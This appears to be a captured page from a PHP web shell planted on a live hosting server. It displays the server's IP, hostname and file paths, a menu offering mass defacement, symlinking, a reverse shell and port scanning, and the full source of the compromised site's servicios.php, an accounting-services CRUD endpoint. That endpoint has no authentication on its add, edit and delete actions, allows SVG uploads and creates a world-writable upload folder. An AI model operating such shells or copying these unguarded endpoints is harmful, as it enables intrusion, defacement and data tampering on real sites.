Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
academia
/
Viewing: servicios.php
<?php require_once 'conexion.php'; ini_set('upload_max_filesize', '25M'); ini_set('post_max_size', '25M'); ini_set('max_execution_time', '120'); ini_set('max_input_time', '120'); header('Content-Type: application/json; charset=utf-8'); function respuesta($ok, $extra = []) { echo json_encode($ok ? array_merge(['success'=>true], $extra) : array_merge(['success'=>false], $extra)); exit; } $action = $_GET['action'] ?? ''; // Preparar carpeta de subidas de servicios y columna de imagen (migración suave) $uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'uploads' . DIRECTORY_SEPARATOR . 'servicios' . DIRECTORY_SEPARATOR; if (!is_dir($uploadDir)) { @mkdir($uploadDir, 0777, true); } $hasImagenCol = false; try { $col = $conn->query("SHOW COLUMNS FROM servicios LIKE 'imagen'")->fetch(); if (!$col) { $conn->exec("ALTER TABLE servicios ADD COLUMN imagen VARCHAR(255) NULL"); $hasImagenCol = true; } else { $hasImagenCol = true; } } catch (Exception $e) { // ignorar en entornos sin permisos, continuar sin columna $hasImagenCol = false; } if ($action === 'list') { $res = $conn->query('SELECT * FROM servicios ORDER BY id DESC'); $servicios = $res->fetchAll(PDO::FETCH_ASSOC); echo json_encode($servicios); exit; } // ENDPOINT PARA CONTAR SERVICIOS if ($action === 'count') { $res = $conn->query('SELECT COUNT(*) as total FROM servicios'); $row = $res->fetch(PDO::FETCH_ASSOC); echo json_encode(['total' => intval($row['total'])]); exit; } if ($action === 'add') { $ct = $_SERVER['CONTENT_TYPE'] ?? ''; $isMultipart = stripos($ct, 'multipart/form-data') !== false; $nombre = $descripcion = ''; $precio = 0; $imagenPath = null; if ($isMultipart) { $nombre = trim($_POST['nombre'] ?? ''); $descripcion = trim($_POST['descripcion'] ?? ''); $precio = floatval($_POST['precio'] ?? 0); } else { $data = json_decode(file_get_contents('php://input'), true) ?: []; $nombre = trim($data['nombre'] ?? ''); $descripcion = trim($data['descripcion'] ?? ''); $precio = floatval($data['precio'] ?? 0); } if (!$nombre || !$descripcion || !$precio) { respuesta(false, ['error'=>'Todos los campos son obligatorios.']); } // Evitar duplicados por nombre $stmt = $conn->prepare('SELECT id FROM servicios WHERE nombre = ?'); $stmt->execute([$nombre]); if ($stmt->fetch()) { respuesta(false, ['error'=>'Ya existe un servicio con ese nombre.']); } // Procesar imagen si viene en multipart y existe la columna if ($hasImagenCol && $isMultipart && isset($_FILES['imagen']) && $_FILES['imagen']['error'] === UPLOAD_ERR_OK) { if ($_FILES['imagen']['size'] > 25 * 1024 * 1024) { respuesta(false, ['error' => 'La imagen no debe superar los 25MB.']); } $ext = strtolower(pathinfo($_FILES['imagen']['name'], PATHINFO_EXTENSION)); $allowed = ['png','jpg','jpeg','webp','gif','svg']; if (!in_array($ext, $allowed)) { respuesta(false, ['error' => 'Formato de imagen no permitido.']); } $fileName = uniqid('srv_') . '.' . $ext; $dest = $uploadDir . $fileName; if (move_uploaded_file($_FILES['imagen']['tmp_name'], $dest)) { $imagenPath = 'uploads/servicios/' . $fileName; } } if ($hasImagenCol) { $stmt = $conn->prepare('INSERT INTO servicios (nombre, descripcion, precio, imagen) VALUES (?, ?, ?, ?)'); $ok = $stmt->execute([$nombre, $descripcion, $precio, $imagenPath]); } else { $stmt = $conn->prepare('INSERT INTO servicios (nombre, descripcion, precio) VALUES (?, ?, ?)'); $ok = $stmt->execute([$nombre, $descripcion, $precio]); } if ($ok) { respuesta(true); } else { respuesta(false, ['error'=>'Error al guardar en la base de datos.']); } } if ($action === 'delete') { $data = json_decode(file_get_contents('php://input'), true); $id = intval($data['id'] ?? 0); if (!$id) respuesta(false, ['error'=>'ID inválido.']); // eliminar archivo de imagen si existe if ($hasImagenCol) { try { $stmt0 = $conn->prepare('SELECT imagen FROM servicios WHERE id = ?'); $stmt0->execute([$id]); $row = $stmt0->fetch(PDO::FETCH_ASSOC); if ($row && !empty($row['imagen'])) { $oldPath = __DIR__ . DIRECTORY_SEPARATOR . str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $row['imagen']); if (is_file($oldPath)) { @unlink($oldPath); } } } catch (Exception $e) {} } $stmt = $conn->prepare('DELETE FROM servicios WHERE id = ?'); if ($stmt->execute([$id])) { respuesta(true); } else { respuesta(false, ['error'=>'No se pudo eliminar.']); } } if ($action === 'get') { $id = intval($_GET['id'] ?? 0); if (!$id) respuesta(false, ['error'=>'ID inválido.']); $stmt = $conn->prepare('SELECT * FROM servicios WHERE id = ?'); $stmt->execute([$id]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if ($row) { echo json_encode($row); exit; } else { respuesta(false, ['error'=>'Servicio no encontrado.']); } } if ($action === 'edit') { $ct = $_SERVER['CONTENT_TYPE'] ?? ''; $isMultipart = stripos($ct, 'multipart/form-data') !== false; $id = 0; $nombre = $descripcion = ''; $precio = 0; if ($isMultipart) { $id = intval($_POST['id'] ?? 0); $nombre = trim($_POST['nombre'] ?? ''); $descripcion = trim($_POST['descripcion'] ?? ''); $precio = floatval($_POST['precio'] ?? 0); } else { $data = json_decode(file_get_contents('php://input'), true) ?: []; $id = intval($data['id'] ?? 0); $nombre = trim($data['nombre'] ?? ''); $descripcion = trim($data['descripcion'] ?? ''); $precio = floatval($data['precio'] ?? 0); } if (!$id || !$nombre || !$descripcion || !$precio) { respuesta(false, ['error'=>'Todos los campos son obligatorios.']); } // Evitar duplicados por nombre (excepto el mismo id) $stmt = $conn->prepare('SELECT id FROM servicios WHERE nombre = ? AND id != ?'); $stmt->execute([$nombre, $id]); if ($stmt->fetch()) { respuesta(false, ['error'=>'Ya existe un servicio con ese nombre.']); } // Obtener registro actual para manejar imagen anterior si aplica $curr = null; if ($hasImagenCol) { $stmt = $conn->prepare('SELECT imagen FROM servicios WHERE id = ?'); $stmt->execute([$id]); $curr = $stmt->fetch(PDO::FETCH_ASSOC); } $newImagen = null; if ($hasImagenCol && $isMultipart && isset($_FILES['imagen']) && $_FILES['imagen']['error'] === UPLOAD_ERR_OK) { // eliminar anterior si existe if ($curr && !empty($curr['imagen'])) { $oldPath = __DIR__ . DIRECTORY_SEPARATOR . str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $curr['imagen']); if (is_file($oldPath)) { @unlink($oldPath); } } $ext = strtolower(pathinfo($_FILES['imagen']['name'], PATHINFO_EXTENSION)); $allowed = ['png','jpg','jpeg','webp','gif','svg']; if (!in_array($ext, $allowed)) { respuesta(false, ['error' => 'Formato de imagen no permitido.']); } $fileName = uniqid('srv_') . '.' . $ext; $dest = $uploadDir . $fileName; if (move_uploaded_file($_FILES['imagen']['tmp_name'], $dest)) { $newImagen = 'uploads/servicios/' . $fileName; } } if ($hasImagenCol && $newImagen) { $stmt = $conn->prepare('UPDATE servicios SET nombre=?, descripcion=?, precio=?, imagen=? WHERE id=?'); $ok = $stmt->execute([$nombre, $descripcion, $precio, $newImagen, $id]); } else { $stmt = $conn->prepare('UPDATE servicios SET nombre=?, descripcion=?, precio=? WHERE id=?'); $ok = $stmt->execute([$nombre, $descripcion, $precio, $id]); } respuesta($ok); } // --- COMPRAR SERVICIO --- if ($action === 'comprar') { $nombre = trim($_POST['nombre'] ?? ''); $telefono = trim($_POST['telefono'] ?? ''); $descripcion = trim($_POST['descripcion'] ?? ''); $servicio_id = intval($_POST['servicio_id'] ?? 0); $precio = floatval($_POST['precio'] ?? 0); if (!$nombre || !$telefono || !$descripcion || !$servicio_id || !$precio) { respuesta(false, ['error'=>'Todos los campos son obligatorios.']); } // Verificar que el servicio existe $stmt = $conn->prepare('SELECT nombre FROM servicios WHERE id = ?'); $stmt->execute([$servicio_id]); $servicio = $stmt->fetch(PDO::FETCH_ASSOC); if (!$servicio) { respuesta(false, ['error'=>'Servicio no encontrado.']); } // Insertar en la tabla de compras (para servicios, direccion es NULL y descripcion tiene el valor) $stmt = $conn->prepare('INSERT INTO compras (nombre, telefono, direccion, descripcion, tipo, item_id, precio, fecha) VALUES (?, ?, NULL, ?, ?, ?, ?, NOW())'); if ($stmt->execute([$nombre, $telefono, $descripcion, 'servicio', $servicio_id, $precio])) { respuesta(true); } else { respuesta(false, ['error'=>'Error al registrar la compra.']); } } // --- MIGRAR SERVICIOS DE INDEX.HTML SI NO EXISTEN --- if ($action === 'migrar') { $servicios = [ [ 'nombre' => 'Contabilidad General', 'descripcion' => 'Servicios completos de contabilidad, incluyendo registro de transacciones, conciliaciones bancarias y generación de estados financieros.', 'precio' => 120, 'categoria' => 'Contabilidad' ], [ 'nombre' => 'Asesoría Fiscal', 'descripcion' => 'Planificación y optimización fiscal, preparación de declaraciones y representación ante autoridades tributarias.', 'precio' => 90, 'categoria' => 'Impuestos' ], [ 'nombre' => 'Auditorías', 'descripcion' => 'Auditorías financieras, operativas y de cumplimiento para garantizar la integridad de su información financiera.', 'precio' => 150, 'categoria' => 'Auditoría' ], [ 'nombre' => 'Consultoría Financiera', 'descripcion' => 'Análisis financiero, evaluación de proyectos y estrategias para mejorar la rentabilidad de su negocio.', 'precio' => 110, 'categoria' => 'Consultoría' ], [ 'nombre' => 'Nóminas', 'descripcion' => 'Gestión completa de nóminas, cálculo de prestaciones sociales y cumplimiento de obligaciones laborales.', 'precio' => 80, 'categoria' => 'Nóminas' ], [ 'nombre' => 'Consultoría Empresarial', 'descripcion' => 'Soluciones estratégicas para mejorar procesos, reducir costos y aumentar la eficiencia operativa.', 'precio' => 130, 'categoria' => 'Consultoría' ] ]; $insertados = 0; foreach ($servicios as $s) { $stmt = $conn->prepare('SELECT id FROM servicios WHERE nombre = ?'); $stmt->execute([$s['nombre']]); if (!$stmt->fetch()) { $stmt2 = $conn->prepare('INSERT INTO servicios (nombre, descripcion, precio, categoria) VALUES (?, ?, ?, ?)'); if ($stmt2->execute([$s['nombre'], $s['descripcion'], $s['precio'], $s['categoria']])) $insertados++; } } respuesta(true, ['insertados'=>$insertados]); } respuesta(false, ['error'=>'Acción no válida.']);
Coded With 💗 by
0x6ick